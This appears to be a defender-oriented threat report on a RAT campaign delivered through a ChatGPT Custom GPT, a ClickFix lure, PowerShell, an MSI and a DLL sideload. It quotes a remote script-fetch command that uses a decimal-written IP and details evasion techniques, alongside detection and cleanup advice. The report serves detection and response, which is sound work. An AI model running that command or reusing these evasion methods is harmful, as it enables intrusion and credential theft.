Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix

What it is

Two waves of a single maintained framework, first seen 2026-09-24, delivering a full-featured RAT via a "Plus 5.6" ChatGPT Custom GPT → Google Sites ClickFix → PowerShell → MSI chain. The summary covers the shape; below is what an engineer needs to detect it, including the specifics that survive the attacker's cosmetic swaps between V1 (Canon) and V2 (Stardock).

How it works (the details worth acting on)

• Decimal-IP evasion. The ClickFix command fetches its script from a host written as a bare decimal (irm 1614733393/12), which Windows resolves to 96.62.224[.]81. Rules and URL filters keyed on dotted-quad IPs never match.
• Doubly-encoded dropper. The %TEMP%\<random>.ps1 is one line of ~3,036 negative integers, decoded by adding 1520498 per value and running via [scriptblock]::Create (never touches disk); individual strings are re-encoded with a second key 6178128. It downloads the MSI over plain HTTP and saves it as %TEMP%\<32 hex>_ISOSimple.msi.
• DLL sideload. MSI installs to %LOCALAPPDATA%\Programs\..., hides itself with ARPSYSTEMCOMPONENT=1, and launches a signed host binary that sideloads a patched logging DLL. The patched DLL's tell: signature stripped, header checksum no longer matches contents, and one extra import (rdCore.dll!instance_levels_).
• WAV-embedded loader (V1). Common.Integrator.Preview.wav has a valid RIFF header claiming 701,700 bytes but is ~1 MB; at offset 0x24362 the audio gives way to 341,395 bytes of ciphertext, decoded with a rolling XOR (no key in the file). V2 hides the same loader inside a real Microsoft NuGet package (Build.dat), so there's no audio-to-noise seam.
• monitor.raw. A custom encrypted filesystem (1,128-entry index, master key 0x26ace8d1 + per-entry salt + per-file XOR) holding the persistence script and the 1.58 MB RAT. The RAT in V2 is byte-identical to V1; only the storage key and wrapping changed. Operators reship monitor.raw to change persistence names/timing/payload without recompiling.
• RAT capabilities: remote desktop, camera/mic/system-audio capture, 17-browser credential/profile access, content-search file manager, follow-on execution of EXE/DLL/MSI/PS/BAT/VBS/JS/ZIP, AMSI bypass, ntdll unhooking, anti-VM, and C2 ("Gate") over DNS-over-HTTPS to Cloudflare/Google/Quad9 (no local DNS logs; C2 address not recovered).

What to do

Name-based detection breaks on the next swap (a third installer, UltraFreeISOCreateWizardSolution.msi, was already staged). Prioritize the behavioral signals:

• powershell.exe launching msiexec.exe /i %TEMP%\<32 hex>_ISOSimple.msi /qn /norestart (_IconEdit2Turb.msi in V2)
• A signed app (COTFileReadApp.exe / DeElevate64.exe) started by msiexec from a fake product folder under %LOCALAPPDATA%\Programs\ rather than a real install path
• A Run value and scheduled task sharing one name that reappears within minutes when deleted (Canon Configuration Reader / Stardock DeElevation Tool)
• Suspicious siblings next to the host EXE: unsigned ceiinfolog.dll, or rdCore.dll / WPFLocalizeExtension.dll / WMPCL.dll (V1); checksum-mismatched DeElevator64.dll, or I++u.dll / senddmp.resources.dll / res.dll / Build.dat (V2)

Cleanup ordering matters: the shutdown/interval monitors rewrite the Run key every 150s and the task every 875s. Kill the process first, then remove both persistence entries, or they regenerate.

Caveats

• The MSI was quarantined by Defender in at least one incident (Trojan:Script/Wacatac.H!ml) but persistence had already been written and the chain continued — quarantine alone is not remediation.
• V2's second-stage script is re-obfuscated on every request, so its hash is worthless as an IOC; it also strips Mark-of-the-Web before running the MSI.
• Only 2 of 40+ SOC incidents from the Google Sites domain were confirmed to originate from a Custom GPT; other entry vectors into the same chain likely exist.